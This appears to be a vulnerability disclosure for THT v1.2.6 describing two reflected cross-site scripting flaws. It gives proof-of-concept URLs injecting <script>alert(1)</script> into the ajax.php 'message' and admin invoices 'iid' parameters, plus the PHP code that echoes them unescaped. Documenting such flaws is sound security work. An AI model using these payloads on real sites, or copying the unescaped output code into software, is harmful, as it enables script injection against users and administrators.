Reflected XSS 1

Proof of Concept:


http://localhost/ecommerce/THTv1.2.6/includes/ajax.php?function=notice&message=<script>alert(1)</script>&status

Code:


        includes/ajax.php
            function notice() {
                global $style;
                if(isset($_REQUEST['status']) and isset($_REQUEST['message'])) {
                    if($_REQUEST['status'] == "good") {
                        $status = true;
                    } else {
                        $status = false;
                    }
                    echo $style->notice($status, $_REQUEST['message']);
                }
                return true;
            }

        includes/class_style.php
            public function notice($good, $message) {
                if($good) {
                    //Cool! Everything's OK.
                    $color = "green";
                }
                else {
                    //Oh no! It's a bad message!
                    $color = "red";
                }
                $notice = '<strong><em style="color: '. $color .';">';
                $notice .= $message;
                $notice .= '</em></strong>';
                return $notice;
            }

Reflected XSS 2

Proof of Concept:


http://localhost//ecommerce/THTv1.2.6/admin/?page=invoices&pay&iid="><script>alert(1)</script>

Code:


        invoices.php:
            class page {
                    public function content(){ # Displays the page
                            global $style, $db, $main, $invoice;
                            if(isset($_GET['iid']) and isset($_GET['pay'])){
                                    $invoice->set_paid($_GET['iid']);
                                    echo "<span style='color:green'>Invoice #{$_GET['iid']} marked as paid. <a href='index.php?page=invoices&iid={$_GET['iid']}&unpay=true'>Undo this action</a></span>";
                            }
                            elseif(isset($_GET['iid']) and isset($_GET['unpay'])){
                                    $invoice->set_unpaid($_GET['iid']);
                                    echo "<span style='color:red'>Invoice {$_GET['iid']} marked as unpaid. <a href='index.php?page=invoices&iid={$_GET['iid']}&pay=true'>Undo this action</a></span>";
                            }
